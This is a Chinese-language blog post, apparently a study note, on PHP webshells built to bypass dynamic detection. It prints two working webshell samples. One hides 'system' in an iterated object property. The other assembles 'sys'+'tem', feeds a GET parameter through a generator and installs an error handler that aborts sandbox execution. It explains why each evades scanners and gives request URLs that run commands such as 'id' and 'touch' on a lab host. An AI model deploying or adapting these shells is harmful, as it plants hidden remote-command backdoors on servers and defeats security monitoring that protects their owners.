记一次学习--webshell绕过(动态检测)

目录

第一种样本

代码分析

第二种样本

代码分析

题目分析

结果


不断学习,不断进步

快就是慢,慢就是快。审视自身

第一种样本

php 复制代码
<?php
class xxxd implements IteratorAggregate {
    public $xxx = "system";
    public function __construct() {
   }
    public function getIterator() {
        return new ArrayIterator($this);
   }
}
$obj = new xxxd;
foreach($obj as $key => $value) {
    $cmd = ['banana', 'orange', ...$_GET[1], 'watermelon'];
    call_user_func($value,$cmd[2]);
    exit();
}

代码分析

xxxd 类实现了 IteratorAggregate 接口。这意味着类需要定义 getIterator 方法,以便提供一个可遍历的对象。

类中有一个公共属性 $xxx,其值为 "system"。

getIterator 方法返回一个 ArrayIterator 对象。ArrayIterator 是一个内置的迭代器类,用于遍历数组或对象。这里传入的是 $this,即当前对象。

创建了一个 xxxd 类的实例 $obj。

使用 foreach 遍历 $obj。由于 $obj 实现了 IteratorAggregate 接口并返回一个 ArrayIterator 对象,所以 $obj 将被视为一个可以迭代的对象。

ArrayIterator 的行为:

ArrayIterator 处理 $this(即 $obj)作为数组。在 PHP 中,对象默认不被视为数组,因此 ArrayIterator 在这种情况下将对象的属性视为数组的键值对。

在这个例子中,$obj 只有一个属性 $xxx,其值为 "system"。因此 foreach 循环会将 $key 设为 'xxx',将 $value 设为 'system'

然后执行system和选中的$_GET[1].

php 复制代码
http://192.168.244.152:8080/webshell/6.php?1[]=id

第二种样本

第二种样本脱胎于第一种样本,第一种样本可以绕过的原理是,当第一种样本不加参数直接访问这个代码会爆出错误。因此我猜测可能在动态检测的时候由于无法知道参数的值,动态执⾏的时候也会爆出此错误,导致代码不能执行下去,所以如果我们可以找到其他的方法,通过传入参数的差异来打断动态执行,应该就可以绕过。这个的意思就是你的代码在动态检测中报错,动态检测认为你的...$_GET[1]他认为这里没有传值,代码无法执行,就会报错,然后动态检测觉得你的代码无法执行就没有检测了。但是我们知道这里可以传值,你的代码将结果执行了下去并得到了你想要的结果。

php 复制代码
<?php
set_error_handler(function ($error_no, $error_msg, $error_file,
$error_line) {
   trigger_error("xxxxxx",E_USER_ERROR);
}, E_WARNING | E_STRICT);
function xxxe(){
    $gen = (function() {
        yield 1;
        yield $_GET[1];
        return 3;
   })();
    foreach ($gen as $val) {
         echo 1/$_GET['x'];
         array_reduce(array(1),join(array_diff(["sys","tem"],[])),
($val));
   }  
      
}
header_register_callback('xxxe');

代码分析

这段代码定义了一个自定义错误处理函数,该函数会在发生 E_WARNING 或 E_STRICT 错误时触发一个用户错误 E_USER_ERROR。这将导致一个致命错误并终止脚本执行。

这段代码定义了一个匿名函数 xxxe,其中:

($gen) 是一个生成器,生成两个值:1 和 $_GET[1],然后返回 3。

foreach 遍历生成器 $gen 的值。对每个值 $val:

echo 1/$_GET['x']; 试图输出 1 除以 $_GET['x'] 的结果。如果 $_GET['x'] 不存在或为零,这会引发警告或错误。

题目分析

然后回到题目这里由于是一个动态传参和第一种样本相同,然后这里会抛出一个错误,错误会被下图所示代码捕获,然后代码被捕获后将warning转换为error报错(这里是应为警告不会中断运行,但是错误会中断),爆出异常后,动态检测就认为你代码执行不下去了,就没有检测了。然后就饶过了

php 复制代码
http://192.168.244.152:8080/webshell/6_1.php?1=touch%20/tmp/test1.php&x=1

结果

相关推荐
Code哈哈笑1 小时前
【Java 学习】深度剖析Java多态:从向上转型到向下转型,解锁动态绑定的奥秘,让代码更优雅灵活
java·开发语言·学习
QQ同步助手2 小时前
如何正确使用人工智能:开启智慧学习与创新之旅
人工智能·学习·百度
流浪的小新2 小时前
【AI】人工智能、LLM学习资源汇总
人工智能·学习
A懿轩A3 小时前
C/C++ 数据结构与算法【数组】 数组详细解析【日常学习,考研必备】带图+详细代码
c语言·数据结构·c++·学习·考研·算法·数组
南宫生10 小时前
力扣-图论-17【算法学习day.67】
java·学习·算法·leetcode·图论
sanguine__11 小时前
Web APIs学习 (操作DOM BOM)
学习
数据的世界0113 小时前
.NET开发人员学习书籍推荐
学习·.net
四口鲸鱼爱吃盐13 小时前
CVPR2024 | 通过集成渐近正态分布学习实现强可迁移对抗攻击
学习
OopspoO15 小时前
qcow2镜像大小压缩
学习·性能优化
A懿轩A16 小时前
C/C++ 数据结构与算法【栈和队列】 栈+队列详细解析【日常学习,考研必备】带图+详细代码
c语言·数据结构·c++·学习·考研·算法·栈和队列